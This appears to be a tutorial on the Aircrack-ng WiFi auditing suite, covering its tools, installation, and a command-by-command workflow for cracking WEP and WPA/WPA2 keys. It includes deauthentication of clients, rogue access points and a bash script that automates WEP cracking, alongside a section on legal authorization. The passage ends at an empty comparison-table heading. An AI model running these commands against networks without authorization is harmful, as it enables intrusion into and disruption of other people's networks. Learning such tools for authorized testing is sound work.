Aircrack-ng: The Complete WiFi Security Assessment Suite

Introduction to Aircrack-ng

Aircrack-ng is a comprehensive suite of tools designed to assess WiFi network security. It’s one of the most widely used and respected security frameworks in the cybersecurity industry, especially for wireless network testing. The suite focuses on different areas of WiFi security, including monitoring, attacking, testing, and cracking.

As a complete framework, Aircrack-ng allows security professionals, network administrators, and ethical hackers to:

• Monitor and capture data packets from wireless networks
• Attack networks to test their vulnerabilities (with proper authorization)
• Test WiFi cards and driver capabilities
• Crack WEP and WPA/WPA2-PSK encryption keys

Key Components and Tools

The Aircrack-ng suite consists of multiple tools, each with a specific purpose in the WiFi security assessment process. Here are the core components:

Packet Capture Tools

• Airmon-ng: Sets up the wireless card for packet capture by putting it into monitor mode
• Airodump-ng: Captures raw 802.11 frames for later processing
• Airtun-ng: Creates a virtual tunnel interface for packet injection

Packet Injection Tools

• Aireplay-ng: Used for traffic generation and client attacks
• Packetforge-ng: Creates encrypted packets for injection

Encryption Cracking Tools

• Aircrack-ng: The main tool for WEP and WPA/WPA2-PSK key cracking
• Airdecap-ng: Decrypts WEP/WPA/WPA2 capture files
• Wesside-ng: Automated tool for WEP key recovery

Analysis and Utility Tools

• Airbase-ng: Implements a fake access point
• Airdecloak-ng: Removes WEP cloaking from packet captures
• Airolib-ng: Stores and manages ESSID and password lists
• Airserv-ng: Provides wireless card access via network
• Buddy-ng: A helper tool for Easside-ng
• Easside-ng: Communicates with an access point without knowing the WEP key
• Tkiptun-ng: WPA/TKIP attack tool

Installation Guide

Linux Installation

Aircrack-ng is primarily designed for Linux systems and can be installed through package managers:

Debian/Ubuntu:

sudo apt update
sudo apt install aircrack-ng

Fedora:

sudo dnf install aircrack-ng

Arch Linux:

sudo pacman -S aircrack-ng

macOS Installation

On macOS, you can install Aircrack-ng using Homebrew:

brew install aircrack-ng

Windows Installation

For Windows, you can download the binaries from the official website or use WSL (Windows Subsystem for Linux):

1. Download the latest binaries from the official website
2. Extract the ZIP file to a location of your choice
3. Add the bin directory to your system PATH

Building from Source

For the latest features or specific customizations, you can build from source:

git clone https://github.com/aircrack-ng/aircrack-ng.git
cd aircrack-ng
autoreconf -i
./configure
make
sudo make install

Basic Usage and Examples

Let’s walk through a basic workflow for testing WiFi security using Aircrack-ng tools:

Step 1: Setting Up Monitor Mode

First, you need to put your wireless card into monitor mode:

sudo airmon-ng check kill
sudo airmon-ng start wlan0

This creates a monitor interface (usually named wlan0mon or similar).

Step 2: Scanning for Networks

Next, scan for available networks:

sudo airodump-ng wlan0mon

This will display a list of WiFi networks in range, including their BSSID (MAC address), ESSID (network name), channel, and encryption type.

Step 3: Capturing Packets from a Specific Network

To focus on a specific network, use:

sudo airodump-ng -c [channel] --bssid [target_BSSID] -w [output_file] wlan0mon

For example:

sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon

Step 4: WEP Cracking Example

For WEP networks (which are now considered highly insecure):

sudo aireplay-ng -1 0 -a [target_BSSID] wlan0mon
sudo aireplay-ng -3 -b [target_BSSID] wlan0mon
sudo aircrack-ng -b [target_BSSID] capture*.cap

Step 5: WPA/WPA2 Cracking Example

For WPA/WPA2 networks, you need to capture the handshake:

sudo aireplay-ng -0 1 -a [target_BSSID] -c [client_MAC] wlan0mon

Once you’ve captured a handshake (airodump-ng will indicate this), you can attempt to crack it:

sudo aircrack-ng -w [wordlist] -b [target_BSSID] capture*.cap

Advanced Techniques

Creating a Database for WPA Attacks

For more efficient WPA attacks, you can use airolib-ng to manage and process wordlists:

airolib-ng airodb --import passwd /path/to/wordlist.txt
airolib-ng airodb --import essid target_essid
airolib-ng airodb --batch
aircrack-ng -r airodb capture*.cap

Using Rainbow Tables

For faster cracking, you can use precomputed rainbow tables:

genpmk -f wordlist.txt -d hash_table -s "Network_ESSID"
cowpatty -d hash_table -s "Network_ESSID" -r capture.cap

Faking Access Points

You can create a rogue access point for testing client behavior:

sudo airbase-ng -e "FakeAP" -c 6 wlan0mon

WiFi Card Testing

To test if your WiFi card supports packet injection:

sudo aireplay-ng -9 wlan0mon

Integrating with Other Tools

Aircrack-ng works well with other security tools:

• Hashcat: For more powerful WPA/WPA2 cracking
• Wireshark: For in-depth packet analysis
• Kismet: For expanded wireless network discovery

Automating Attacks with Scripts

Here’s a simple bash script to automate WEP cracking:

#!/bin/bash
# Simple WEP cracking script
interface="wlan0mon"
bssid=$1
channel=$2

# Start monitoring
airodump-ng -c $channel --bssid $bssid -w capture $interface &
dump_pid=$!
sleep 5

# Start packet injection
aireplay-ng -3 -b $bssid $interface &
replay_pid=$!

# Wait for sufficient IVs
echo "Collecting IVs. Press ENTER when ready to crack"
read

# Kill background processes
kill $dump_pid $replay_pid

# Try to crack
aircrack-ng -b $bssid capture*.cap

Legal and Ethical Considerations

Using Aircrack-ng or any similar tool on networks without proper authorization is illegal in most countries and could result in severe legal penalties. Always adhere to these guidelines:

• Only test networks you own or have explicit written permission to test
• Never use these tools for malicious purposes
• Document all authorization before testing
• Consider local and international laws regarding cybersecurity testing
• Respect privacy and confidentiality of any data encountered during testing

Legal Framework in Different Regions

United States

In the US, unauthorized network access may violate the Computer Fraud and Abuse Act (CFAA).

European Union

The EU has various cybercrime laws, including the Convention on Cybercrime, that prohibit unauthorized system access.

Professional Testing

Professional penetration testers should:

• Obtain proper written scope and authorization
• Define clear boundaries for testing
• Report vulnerabilities responsibly
• Maintain confidentiality of findings

Alternatives and Complementary Tools

While Aircrack-ng is powerful, there are other tools that either complement it or provide alternative approaches:

Alternative WiFi Security Tools

• Wifite: An automated wireless attack tool
• Kismet: Wireless network detector, sniffer, and IDS
• Wireshark: Network protocol analyzer
• Reaver: Brute force attack tool for WPS
• Bully: Implementation of the WPS brute force attack
• Fluxion: Social engineering based framework

Complementary Tools

• Hashcat: Advanced password recovery utility
• John the Ripper: Password cracking tool
• Metasploit Framework: Penetration testing framework
• Kali Linux: Security-focused Linux distribution that includes Aircrack-ng and many other tools

Comparison Table